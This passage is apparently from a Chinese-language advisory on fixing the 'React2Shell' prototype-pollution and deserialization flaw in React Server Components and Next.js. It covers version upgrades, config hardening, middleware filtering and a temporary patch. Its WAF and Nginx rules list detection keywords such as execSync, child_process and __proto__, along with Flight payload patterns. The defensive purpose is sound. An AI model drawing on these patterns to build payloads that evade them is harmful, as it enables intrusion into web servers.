15.5.7\u53ca\u4ee5\u4e0a\u7248\u672c&#xff0c;\u621616.0.7\u53ca\u4ee5\u4e0a\u7248\u672c&#xff08;\u5b98\u65b9\u5df2\u4fee\u590d\u8be5\u6f0f\u6d1e&#xff0c;\u4fee\u590d\u903b\u8f91&#xff1a;\u5bf9Server Action\u53c2\u6570\u8fdb\u884c\u4e25\u683c\u6821\u9a8c&#xff0c;\u963b\u65ad\u539f\u578b\u94fe\u6c61\u67d3&#xff1b;\u4f18\u5316Flight\u534f\u8bae\u53cd\u5e8f\u5217\u5316\u903b\u8f91&#xff0c;\u8fc7\u6ee4\u6076\u610f__proto__\u5b57\u6bb5&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u5347\u7ea7\u547d\u4ee4&#xff08;\u9002\u914d\u4e0d\u540c\u5305\u7ba1\u7406\u5668&#xff09;&#xff1a;<\/p>\n<\/li>\n<\/ul>\n<p><span class=\"token comment\"># npm\u5305\u7ba1\u7406\u5668<\/span><br \/>\n<span class=\"token function\">npm<\/span> <span class=\"token function\">install<\/span> next&#064;15.5.7 react&#064;19.2.3 react-dom&#064;19.2.3 &#8211;save<\/p>\n<p><span class=\"token comment\"># yarn\u5305\u7ba1\u7406\u5668<\/span><br \/>\n<span class=\"token function\">yarn<\/span> <span class=\"token function\">add<\/span> next&#064;15.5.7 react&#064;19.2.3 react-dom&#064;19.2.3<\/p>\n<p><span class=\"token comment\"># pnpm\u5305\u7ba1\u7406\u5668<\/span><br \/>\n<span class=\"token function\">pnpm<\/span> <span class=\"token function\">add<\/span> next&#064;15.5.7 react&#064;19.2.3 react-dom&#064;19.2.3<\/p>\n<ul>\n<li>\u914d\u7f6e\u52a0\u56fa&#xff08;\u5fc5\u505a&#xff09;&#xff1a;\u5347\u7ea7\u540e&#xff0c;\u5728next.config.js\u4e2d\u542f\u7528experimental.serverActionsStrict: true&#xff0c;\u8be5\u914d\u7f6e\u4f1a\u5f3a\u5236\u5bf9Server Action ID\u8fdb\u884c\u767d\u540d\u5355\u6821\u9a8c&#xff0c;\u4ec5\u5141\u8bb8\u524d\u7aef\u6ce8\u518c\u7684\u5408\u6cd5Action ID\u6267\u884c&#xff0c;\u963b\u65ad\u6076\u610fAction\u8bf7\u6c42&#xff1b;\u540c\u65f6\u7981\u7528\u672a\u4f7f\u7528\u7684Server Action&#xff0c;\u51cf\u5c11\u653b\u51fb\u9762\u3002<\/li>\n<\/ul>\n<p><span class=\"token comment\">\/\/ next.config.js \u5b8c\u6574\u52a0\u56fa\u914d\u7f6e<\/span><br \/>\nmodule<span class=\"token punctuation\">.<\/span>exports <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token literal-property property\">experimental<\/span><span class=\"token operator\">:<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token literal-property property\">serverActionsStrict<\/span><span class=\"token operator\">:<\/span> <span class=\"token boolean\">true<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token comment\">\/\/ \u5f3a\u5236Action ID\u767d\u540d\u5355\u6821\u9a8c<\/span><br \/>\n    <span class=\"token literal-property property\">serverActions<\/span><span class=\"token operator\">:<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      <span class=\"token literal-property property\">allowedOrigins<\/span><span class=\"token operator\">:<\/span> <span class=\"token punctuation\">[<\/span><span class=\"token string\">&#039;https:\/\/your-domain.com&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token comment\">\/\/ \u4ec5\u5141\u8bb8\u5408\u6cd5\u524d\u7aef\u57df\u540d\u8c03\u7528Action<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">,<\/span><br \/>\n  <span class=\"token comment\">\/\/ \u5176\u4ed6\u914d\u7f6e&#8230;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<h4>3.1.2 \u7eafReact RSC\u9879\u76ee\u4fee\u590d<\/h4>\n<p>\u5bf9\u4e8e\u672a\u4f7f\u7528Next.js&#xff0c;\u4ec5\u4f7f\u7528React RSC\u7684\u9879\u76ee&#xff0c;\u9700\u5347\u7ea7react\u3001react-dom\u3001react-server-dom-webpack\u4e09\u4e2a\u6838\u5fc3\u5305\u81f3\u6700\u65b0\u5b89\u5168\u7248\u672c&#xff0c;\u5f7b\u5e95\u4fee\u590d\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u5347\u7ea7\u6838\u5fc3\u4f9d\u8d56\u5305<\/span><br \/>\n<span class=\"token function\">npm<\/span> <span class=\"token function\">install<\/span> react&#064;19.2.3 react-dom&#064;19.2.3 react-server-dom-webpack&#064;19.2.3 &#8211;save<\/p>\n<p>\u8865\u5145\u8bf4\u660e&#xff1a;\u5347\u7ea7\u540e&#xff0c;React\u4f1a\u81ea\u52a8\u8fc7\u6ee4\u53cd\u5e8f\u5217\u5316\u6570\u636e\u4e2d\u7684__proto__\u5b57\u6bb5&#xff0c;\u963b\u65ad\u539f\u578b\u94fe\u6c61\u67d3&#xff0c;\u65e0\u9700\u989d\u5916\u914d\u7f6e\u3002<\/p>\n<h3>3.2 \u4e34\u65f6\u7f13\u89e3\u65b9\u6848&#xff08;\u65e0\u6cd5\u7acb\u5373\u5347\u7ea7\u65f6&#xff09;<\/h3>\n<p>\u90e8\u5206\u4f01\u4e1a\u56e0\u4e1a\u52a1\u8fed\u4ee3\u3001\u6d4b\u8bd5\u5468\u671f\u7b49\u539f\u56e0&#xff0c;\u65e0\u6cd5\u7acb\u5373\u5347\u7ea7\u7248\u672c&#xff0c;\u53ef\u91c7\u7528\u4ee5\u4e0b\u4e34\u65f6\u7f13\u89e3\u65b9\u6848&#xff0c;\u964d\u4f4e\u6f0f\u6d1e\u5229\u7528\u98ce\u9669&#xff08;\u4ec5\u80fd\u7f13\u89e3&#xff0c;\u65e0\u6cd5\u6839\u6cbb&#xff0c;\u5efa\u8bae\u5c3d\u5feb\u5347\u7ea7&#xff09;&#xff1a;<\/p>\n<h4>3.2.1 WAF\/\u9632\u706b\u5899\u62e6\u622a&#xff08;\u6838\u5fc3\u7f13\u89e3\u624b\u6bb5&#xff09;<\/h4>\n<p>\u901a\u8fc7WAF&#xff08;\u4e91WAF\u3001\u672c\u5730WAF\u5982Nginx\u3001Apache&#xff09;\u6216\u9632\u706b\u5899&#xff0c;\u62e6\u622a\u6076\u610f\u8bf7\u6c42&#xff0c;\u963b\u65ad\u653b\u51fb\u5165\u53e3&#xff0c;\u4ee5\u4e0b\u63d0\u4f9b\u53ef\u76f4\u63a5\u90e8\u7f72\u7684\u62e6\u622a\u89c4\u5219&#xff08;\u9002\u914d\u4e0d\u540c\u573a\u666f&#xff09;&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u901a\u7528\u62e6\u622a\u89c4\u5219&#xff08;\u6240\u6709\u573a\u666f&#xff09;&#xff1a;<br \/>\n1. \u62e6\u622a\u542b__proto__\u3001then\u3001constructor\u3001execSync\u3001spawn\u3001child_process\u3001require\u7b49\u5173\u952e\u5b57\u7684POST\u8bf7\u6c42&#xff1b;<br \/>\n2. \u62e6\u622aFlight\u534f\u8baePayload\u7279\u5f81&#xff1a;\u8bf7\u6c42\u4f53\u4ee5$1\u3001$&#064;\u3001$B\u5f00\u5934&#xff0c;\u4e14\u5305\u542b__proto__\u5b57\u6bb5&#xff1b;<br \/>\n3. \u9650\u5236\/_next\/data\/\u3001\/api\/\u3001\/action\/\u7b49\u7aef\u70b9\u7684\u8bbf\u95ee&#xff0c;\u4ec5\u5141\u8bb8\u5408\u6cd5\u524d\u7aefIP\u3001\u5185\u7f51IP\u8bbf\u95ee&#xff08;IP\u767d\u540d\u5355&#xff09;&#xff1b;<br \/>\n4. \u62e6\u622a\u643a\u5e26Next-Action\u8bf7\u6c42\u5934&#xff0c;\u4e14\u8bf7\u6c42\u4f53\u5305\u542b\u6076\u610f\u5173\u952e\u5b57\u7684\u8bf7\u6c42\u3002<\/p>\n<\/li>\n<li>\n<p>Nginx\u62e6\u622a\u89c4\u5219&#xff08;\u53ef\u76f4\u63a5\u590d\u5236\u90e8\u7f72&#xff09;&#xff1a;<\/p>\n<\/li>\n<\/ul>\n<p># \u7f16\u8f91nginx.conf&#xff0c;\u6dfb\u52a0\u5728server\u5757\u4e2d<br \/>\nlocation ~* ^(\/api\/|\/_next\/data\/|\/action\/) {<br \/>\n  if ($request_method &#061; POST) {<br \/>\n    # \u62e6\u622a\u6076\u610f\u5173\u952e\u5b57<br \/>\n    if ($request_body ~* (__proto__|then|constructor|execSync|spawn|child_process|require)) {<br \/>\n      return 403;<br \/>\n    }<br \/>\n    # \u62e6\u622aFlight\u534f\u8bae\u6076\u610fPayload<br \/>\n    if ($request_body ~* ^(\\\\$1|\\\\$&#064;|\\\\$B).*__proto__) {<br \/>\n      return 403;<br \/>\n    }<br \/>\n    # \u62e6\u622a\u5f02\u5e38Next-Action\u8bf7\u6c42\u5934<br \/>\n    if ($http_next_action ~* .*(__proto__|then)) {<br \/>\n      return 403;<br \/>\n    }<br \/>\n  }<br \/>\n  # IP\u767d\u540d\u5355&#xff08;\u66ff\u6362\u4e3a\u4f60\u7684\u5408\u6cd5IP&#xff09;<br \/>\n  allow 192.168.1.0\/24;<br \/>\n  allow 127.0.0.1;<br \/>\n  deny all;<br \/>\n}<\/p>\n<ul>\n<li>\u4e91WAF\u89c4\u5219&#xff1a;\u76f4\u63a5\u542f\u7528\u5bf9\u5e94\u5382\u5546\u7684\u9884\u5236\u89c4\u5219&#xff0c;\u5982\u817e\u8baf\u4e91EdgeOne&#xff08;\u89c4\u5219ID&#xff1a;4401216445\u30014401216452&#xff09;\u3001\u963f\u91cc\u4e91WAF&#xff08;\u89c4\u5219\u540d\u79f0&#xff1a;React2Shell\u6f0f\u6d1e\u9632\u62a4\u3001Next.js\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u9632\u62a4&#xff09;\u3001AWS WAF&#xff08;CRS\u89c4\u5219\u96c6&#xff09;&#xff0c;\u65e0\u9700\u624b\u52a8\u914d\u7f6e\u3002<\/li>\n<\/ul>\n<h4>3.2.2 \u5e94\u7528\u5c42\u914d\u7f6e\u52a0\u56fa<\/h4>\n<ul>\n<li>\n<p>\u7981\u7528\u672a\u4f7f\u7528\u7684Server Action&#xff1a;\u68b3\u7406\u9879\u76ee\u4e2d\u7684Server Action&#xff0c;\u4ec5\u4fdd\u7559\u4e1a\u52a1\u5fc5\u9700\u7684Action&#xff0c;\u5220\u9664\u6216\u6ce8\u91ca\u672a\u4f7f\u7528\u7684Action&#xff0c;\u51cf\u5c11\u653b\u51fb\u9762\u3002<\/p>\n<\/li>\n<li>\n<p>\u9650\u5236Node.js\u8fdb\u7a0b\u6743\u9650&#xff1a;\u4ee5\u975eroot\u7528\u6237&#xff08;\u5982nodejs\u7528\u6237&#xff09;\u8fd0\u884cNext.js\/React\u670d\u52a1&#xff0c;\u5373\u4f7f\u6f0f\u6d1e\u88ab\u5229\u7528&#xff0c;\u653b\u51fb\u8005\u4e5f\u65e0\u6cd5\u83b7\u53d6root\u6743\u9650&#xff0c;\u964d\u4f4e\u5371\u5bb3\u8303\u56f4\u3002<\/p>\n<\/li>\n<li>\n<p>\u8fc7\u6ee4\u8bf7\u6c42\u53c2\u6570&#xff1a;\u5728\u5e94\u7528\u4ee3\u7801\u4e2d&#xff0c;\u624b\u52a8\u8fc7\u6ee4\u8bf7\u6c42\u4f53\u4e2d\u7684__proto__\u5b57\u6bb5&#xff0c;\u5982\u4f7f\u7528\u4e2d\u95f4\u4ef6\u62e6\u622a\u6240\u6709POST\u8bf7\u6c42&#xff0c;\u5220\u9664__proto__\u76f8\u5173\u5b57\u6bb5&#xff08;\u793a\u4f8b\u5982\u4e0b&#xff09;&#xff1a;<\/p>\n<\/li>\n<\/ul>\n<p><span class=\"token comment\">\/\/ Next.js\u4e2d\u95f4\u4ef6&#xff08;middleware.js&#xff09;&#xff0c;\u8fc7\u6ee4__proto__\u5b57\u6bb5<\/span><br \/>\n<span class=\"token keyword\">export<\/span> <span class=\"token keyword\">function<\/span> <span class=\"token function\">middleware<\/span><span class=\"token punctuation\">(<\/span><span class=\"token parameter\">request<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>request<span class=\"token punctuation\">.<\/span>method <span class=\"token operator\">&#061;&#061;&#061;<\/span> <span class=\"token string\">&#039;POST&#039;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> request<span class=\"token punctuation\">.<\/span><span class=\"token function\">json<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">then<\/span><span class=\"token punctuation\">(<\/span><span class=\"token parameter\">body<\/span> <span class=\"token operator\">&#061;&gt;<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      <span class=\"token comment\">\/\/ \u9012\u5f52\u5220\u9664\u6240\u6709__proto__\u5b57\u6bb5<\/span><br \/>\n      <span class=\"token keyword\">const<\/span> <span class=\"token function-variable function\">cleanBody<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token parameter\">obj<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&#061;&gt;<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token keyword\">typeof<\/span> obj <span class=\"token operator\">!&#061;&#061;<\/span> <span class=\"token string\">&#039;object&#039;<\/span> <span class=\"token operator\">||<\/span> obj <span class=\"token operator\">&#061;&#061;&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">return<\/span> obj<span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token keyword\">delete<\/span> obj<span class=\"token punctuation\">.<\/span>__proto__<span class=\"token punctuation\">;<\/span><br \/>\n        Object<span class=\"token punctuation\">.<\/span><span class=\"token function\">values<\/span><span class=\"token punctuation\">(<\/span>obj<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">forEach<\/span><span class=\"token punctuation\">(<\/span>cleanBody<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token keyword\">return<\/span> obj<span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token keyword\">const<\/span> cleaned <span class=\"token operator\">&#061;<\/span> <span class=\"token function\">cleanBody<\/span><span class=\"token punctuation\">(<\/span>body<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token comment\">\/\/ \u91cd\u65b0\u6784\u9020\u8bf7\u6c42<\/span><br \/>\n      <span class=\"token keyword\">return<\/span> <span class=\"token keyword\">new<\/span> <span class=\"token class-name\">Response<\/span><span class=\"token punctuation\">(<\/span><span class=\"token constant\">JSON<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">stringify<\/span><span class=\"token punctuation\">(<\/span>cleaned<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token literal-property property\">headers<\/span><span class=\"token operator\">:<\/span> request<span class=\"token punctuation\">.<\/span>headers<span class=\"token punctuation\">,<\/span><br \/>\n      <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token keyword\">return<\/span> NextResponse<span class=\"token punctuation\">.<\/span><span class=\"token function\">next<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<h4>3.2.3 \u4f9d\u8d56\u5305\u4e34\u65f6\u4fee\u590d<\/h4>\n<p>\u53ef\u4f7f\u7528patch-package\u5de5\u5177&#xff0c;\u5bf9react-server-dom-webpack\u5305\u8fdb\u884c\u4e34\u65f6\u8865\u4e01\u4fee\u590d&#xff0c;\u963b\u65ad\u539f\u578b\u94fe\u6c61\u67d3&#xff08;\u4ec5\u9002\u7528\u4e8e\u65e0\u6cd5\u7acb\u5373\u5347\u7ea7\u7684\u573a\u666f&#xff09;&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u5b89\u88c5patch-package<\/span><br \/>\n<span class=\"token function\">npm<\/span> <span class=\"token function\">install<\/span> patch-package &#8211;save-dev<\/p>\n<p><span class=\"token comment\"># \u7f16\u8f91node_modules\/react-server-dom-webpack\/dist\/server.js&#xff0c;\u6dfb\u52a0\u8fc7\u6ee4\u903b\u8f91<\/span><br \/>\n<span class=\"token comment\"># \u5728\u53cd\u5e8f\u5217\u5316\u51fd\u6570\u4e2d&#xff0c;\u6dfb\u52a0&#xff1a;if (key &#061;&#061;&#061; &#039;__proto__&#039;) delete obj[key];<\/span><\/p>\n<p><span class=\"token comment\"># \u751f\u6210\u8865\u4e01\u6587\u4ef6<\/span><br \/>\nnpx patch-package react-server-dom-webpack<\/p>\n<p><span class=\"token comment\"># \u90e8\u7f72\u8865\u4e01&#xff08;\u56e2\u961f\u5171\u4eab&#xff09;<\/span><br \/>\n<span class=\"token function\">git<\/span> <span class=\"token function\">add<\/span> patches\/react-server-dom-webpack&#043;19.2.2.patch<br \/>\n<span class=\"token function\">git<\/span> commit -m <span class=\"token string\">&#034;\u4e34\u65f6\u4fee\u590dReact2Shell\u6f0f\u6d1e&#034;<\/span><\/p>\n<h3>3.3 \u6df1\u5ea6\u52a0\u56fa&#xff1a;\u6784\u5efa\u591a\u5c42\u9632\u5fa1\u4f53\u7cfb&#xff08;\u957f\u671f\u9632\u62a4&#xff09;<\/h3>\n<p>\u7248\u672c\u5347\u7ea7\u4e0e\u4e34\u65f6\u7f13\u89e3\u4ec5\u80fd\u89e3\u51b3\u5f53\u524d\u6f0f\u6d1e&#xff0c;\u4f01\u4e1a\u9700\u6784\u5efa\u957f\u671f\u3001\u591a\u5c42\u7684\u9632\u5fa1\u4f53\u7cfb&#xff0c;\u9632\u8303\u672a\u6765\u7c7b\u4f3c\u7684\u53cd\u5e8f\u5217\u5316\u3001\u539f\u578b\u94fe\u6c61\u67d3\u6f0f\u6d1e&#xff0c;\u5177\u4f53\u53ef\u4ece\u4ee5\u4e0b4\u4e2a\u5c42\u9762\u5165\u624b&#xff1a;<\/p>\n<h4>3.3.1 \u5f00\u53d1\u5c42\u9762&#xff1a;\u5b89\u5168\u7f16\u7801\u89c4\u8303<\/h4>\n<ul>\n<li>\n<p>\u542f\u7528\u4e25\u683c\u6a21\u5f0f&#xff1a;React\u9879\u76ee\u542f\u7528strictMode&#xff0c;Next.js\u9879\u76ee\u542f\u7528serverActionsStrict\u3001strictMode&#xff0c;\u5f3a\u5236\u8fdb\u884c\u53c2\u6570\u6821\u9a8c\u3001\u4ee3\u7801\u68c0\u67e5\u3002<\/p>\n<\/li>\n<li>\n<p>\u907f\u514d\u5371\u9669API\u4f7f\u7528&#xff1a;\u7981\u6b62\u5728\u670d\u52a1\u7aef\u4ee3\u7801\u4e2d\u4f7f\u7528eval\u3001new Function\u3001execSync\u7b49\u5371\u9669API&#xff0c;\u82e5\u5fc5\u987b\u4f7f\u7528&#xff0c;\u9700\u5bf9\u8f93\u5165\u8fdb\u884c\u4e25\u683c\u6821\u9a8c\u3001\u8fc7\u6ee4\u3002<\/p>\n<\/li>\n<li>\n<p>\u4f9d\u8d56\u5305\u7ba1\u7406&#xff1a;\u5b9a\u671f\u626b\u63cf\u9879\u76ee\u4f9d\u8d56\u5305&#xff08;\u4f7f\u7528npm audit\u3001snyk\u7b49\u5de5\u5177&#xff09;&#xff0c;\u53ca\u65f6\u53d1\u73b0\u5e76\u5347\u7ea7\u5b58\u5728\u6f0f\u6d1e\u7684\u4f9d\u8d56\u5305&#xff1b;\u5efa\u7acb\u4f9d\u8d56\u5305\u767d\u540d\u5355&#xff0c;\u7981\u6b62\u5f15\u5165\u672a\u77e5\u3001\u4e0d\u5b89\u5168\u7684\u7b2c\u4e09\u65b9\u5305\u3002<\/p>\n<\/li>\n<li>\n<p>\u53c2\u6570\u6821\u9a8c&#xff1a;\u6240\u6709\u670d\u52a1\u7aef\u63a5\u53e3&#xff08;\u5305\u62ecServer Action\u3001API\u63a5\u53e3&#xff09;&#xff0c;\u5bf9\u8f93\u5165\u53c2\u6570\u8fdb\u884c\u4e25\u683c\u6821\u9a8c&#xff0c;\u8fc7\u6ee4__proto__\u3001constructor\u7b49\u654f\u611f\u5b57\u6bb5&#xff0c;\u907f\u514d\u6076\u610f\u6570\u636e\u6ce8\u5165\u3002<\/p>\n<\/li>\n<\/ul>\n<h4>3.3.2 \u8fd0\u7ef4\u5c42\u9762&#xff1a;\u5b89\u5168\u914d\u7f6e\u4e0e\u6743\u9650\u7ba1\u7406<\/h4>\n<ul>\n<li>\n<p>\u6700\u5c0f\u6743\u9650\u539f\u5219&#xff1a;\u8fd0\u884cNext.js\/React\u670d\u52a1\u7684\u7528\u6237\u4ec5\u62e5\u6709\u5fc5\u8981\u6743\u9650&#xff0c;\u7981\u6b62\u4f7f\u7528root\u7528\u6237&#xff1b;\u670d\u52a1\u5668\u6587\u4ef6\u3001\u76ee\u5f55\u8bbe\u7f6e\u5408\u7406\u6743\u9650&#xff08;\u5982\/var\/www\/html\u76ee\u5f55\u6743\u9650\u8bbe\u4e3a755&#xff0c;\u7981\u6b62\u5199\u5165&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u8bbf\u95ee\u63a7\u5236&#xff1a;\u5bf9RSC\u76f8\u5173\u7aef\u70b9&#xff08;\/_next\/data\/\u3001\/api\/&#xff09;\u3001\u7ba1\u7406\u540e\u53f0\u7b49\u654f\u611f\u8def\u5f84&#xff0c;\u8bbe\u7f6eIP\u767d\u540d\u5355&#xff0c;\u4ec5\u5141\u8bb8\u5408\u6cd5IP\u8bbf\u95ee&#xff1b;\u7981\u6b62\u516c\u7f51\u76f4\u63a5\u8bbf\u95ee\u6570\u636e\u5e93\u3001\u670d\u52a1\u5668SSH\u7b49\u6838\u5fc3\u670d\u52a1\u3002<\/p>\n<\/li>\n<li>\n<p>\u65e5\u5fd7\u7ba1\u7406&#xff1a;\u542f\u7528Nginx\u3001Next.js\u3001\u670d\u52a1\u5668\u7cfb\u7edf\u65e5\u5fd7&#xff0c;\u8bb0\u5f55\u6240\u6709\u8bf7\u6c42&#xff08;\u5c24\u5176\u662fPOST\u8bf7\u6c42&#xff09;\u3001\u547d\u4ee4\u6267\u884c\u3001\u767b\u5f55\u64cd\u4f5c&#xff0c;\u65e5\u5fd7\u4fdd\u5b58\u65f6\u95f4\u4e0d\u5c11\u4e8e90\u5929&#xff0c;\u4fbf\u4e8e\u540e\u7eed\u5ba1\u8ba1\u3001\u6eaf\u6e90\u3002<\/p>\n<\/li>\n<li>\n<p>\u5b9a\u671f\u5907\u4efd&#xff1a;\u5b9a\u671f\u5907\u4efd\u670d\u52a1\u5668\u6570\u636e\u3001\u6570\u636e\u5e93\u6570\u636e\u3001\u5e94\u7528\u4ee3\u7801&#xff0c;\u8bbe\u7f6e\u5907\u4efd\u6062\u590d\u6d4b\u8bd5&#xff0c;\u786e\u4fdd\u6f0f\u6d1e\u88ab\u5229\u7528\u540e&#xff0c;\u53ef\u5feb\u901f\u6062\u590d\u4e1a\u52a1\u3002<\/p>\n<\/li>\n<\/ul>\n<h4>3.3.3 \u5b89\u5168\u8fd0\u8425\u5c42\u9762&#xff1a;\u68c0\u6d4b\u4e0e\u76d1\u63a7<\/h4>\n<ul>\n<li>\n<p>\u6d41\u91cf\u76d1\u63a7&#xff1a;\u90e8\u7f72IDS\/IPS&#xff08;\u5982Snort\u3001Suricata&#xff09;&#xff0c;\u76d1\u63a7\u7f51\u7edc\u6d41\u91cf&#xff0c;\u8bc6\u522bReact2Shell\/Next.js\u6f0f\u6d1e\u7684\u653b\u51fb\u7279\u5f81&#xff08;\u5982\u5173\u952e\u5b57\u3001\u8def\u5f84\u3001\u8bf7\u6c42\u5934&#xff09;&#xff0c;\u5b9e\u65f6\u544a\u8b66\u3002<\/p>\n<\/li>\n<li>\n<p>\u65e5\u5fd7\u5ba1\u8ba1&#xff1a;\u5b9a\u671f\u5ba1\u8ba1Nginx\u8bbf\u95ee\u65e5\u5fd7\u3001Next.js\u670d\u52a1\u65e5\u5fd7&#xff0c;\u7edf\u8ba1\u5f02\u5e38\u8bf7\u6c42&#xff08;\u5982\u542b\u6076\u610f\u5173\u952e\u5b57\u7684\u8bf7\u6c42\u3001\u9891\u7e41\u8bbf\u95ee\/_next\/data\/\u7684IP&#xff09;&#xff0c;\u53ca\u65f6\u53d1\u73b0\u6f5c\u5728\u653b\u51fb\u3002<\/p>\n<\/li>\n<li>\n<p>\u6f0f\u6d1e\u626b\u63cf&#xff1a;\u6bcf\u6708\u4f7f\u7528\u81ea\u52a8\u5316\u6f0f\u6d1e\u626b\u63cf\u5de5\u5177&#xff08;\u5982Nessus\u3001AWVS\u3001\u81ea\u5b9a\u4e49\u811a\u672c&#xff09;&#xff0c;\u626b\u63cf\u4f01\u4e1a\u6240\u6709React\/Next.js\u5e94\u7528&#xff0c;\u786e\u8ba4\u7248\u672c\u662f\u5426\u5b89\u5168\u3001\u9632\u62a4\u89c4\u5219\u662f\u5426\u751f\u6548\u3002<\/p>\n<\/li>\n<li>\n<p>\u5a01\u80c1\u60c5\u62a5&#xff1a;\u5173\u6ce8React\u5b98\u65b9\u3001Next.js\u5b98\u65b9\u3001\u5b89\u5168\u5382\u5546&#xff08;\u5982\u5947\u5b89\u4fe1\u3001\u817e\u8baf\u5b89\u5168&#xff09;\u53d1\u5e03\u7684\u5a01\u80c1\u60c5\u62a5&#xff0c;\u53ca\u65f6\u4e86\u89e3\u6f0f\u6d1e\u7684\u6700\u65b0\u5229\u7528\u624b\u6cd5\u3001\u7ed5\u8fc7\u6280\u5de7&#xff0c;\u66f4\u65b0\u9632\u62a4\u89c4\u5219\u3002<\/p>\n<\/li>\n<\/ul>\n<h4>3.3.4 \u4eba\u5458\u5c42\u9762&#xff1a;\u5b89\u5168\u610f\u8bc6\u4e0e\u80fd\u529b\u63d0\u5347<\/h4>\n<ul>\n<li>\n<p>\u5f00\u53d1\u4eba\u5458\u57f9\u8bad&#xff1a;\u5f00\u5c55React\/Next.js\u5b89\u5168\u7f16\u7801\u57f9\u8bad&#xff0c;\u91cd\u70b9\u8bb2\u89e3\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3001\u539f\u578b\u94fe\u6c61\u67d3\u7684\u5371\u5bb3\u4e0e\u9632\u5fa1\u65b9\u6cd5&#xff0c;\u89c4\u8303\u5f00\u53d1\u6d41\u7a0b\u3002<\/p>\n<\/li>\n<li>\n<p>\u8fd0\u7ef4\u4eba\u5458\u57f9\u8bad&#xff1a;\u57f9\u8bad\u8fd0\u7ef4\u4eba\u5458\u638c\u63e1\u6f0f\u6d1e\u4fee\u590d\u3001WAF\u914d\u7f6e\u3001\u65e5\u5fd7\u5ba1\u8ba1\u3001\u5e94\u6025\u54cd\u5e94\u7684\u65b9\u6cd5&#xff0c;\u786e\u4fdd\u51fa\u73b0\u653b\u51fb\u65f6&#xff0c;\u53ef\u5feb\u901f\u5904\u7f6e\u3002<\/p>\n<\/li>\n<li>\n<p>\u5b89\u5168\u4eba\u5458\u57f9\u8bad&#xff1a;\u63d0\u5347\u5b89\u5168\u4eba\u5458\u5bf9React\u751f\u6001\u6f0f\u6d1e\u7684\u5206\u6790\u3001\u68c0\u6d4b\u3001\u6eaf\u6e90\u80fd\u529b&#xff0c;\u80fd\u591f\u5e94\u5bf9\u590d\u6742\u7684\u653b\u51fb\u573a\u666f&#xff0c;\u5236\u5b9a\u9488\u5bf9\u6027\u7684\u9632\u62a4\u65b9\u6848\u3002<\/p>\n<\/li>\n<\/ul>\n<h3>3.4 \u5e94\u6025\u54cd\u5e94&#xff1a;\u6f0f\u6d1e\u88ab\u5229\u7528\u540e\u7684\u5904\u7f6e\u6d41\u7a0b<\/h3>\n<p>\u82e5\u53d1\u73b0\u4f01\u4e1a\u5e94\u7528\u88ab\u653b\u51fb\u8005\u5229\u7528React2Shell\/Next.js\u6f0f\u6d1e\u653b\u51fb&#xff08;\u5982\u670d\u52a1\u5668\u88ab\u63a7\u3001\u6570\u636e\u6cc4\u9732&#xff09;&#xff0c;\u9700\u7acb\u5373\u542f\u52a8\u5e94\u6025\u54cd\u5e94\u6d41\u7a0b&#xff0c;\u51cf\u5c11\u635f\u5931\u3001\u5feb\u901f\u6062\u590d\u4e1a\u52a1&#xff0c;\u5177\u4f53\u6d41\u7a0b\u5206\u4e3a5\u4e2a\u6b65\u9aa4&#xff1a;<\/p>\n<h4>3.4.1 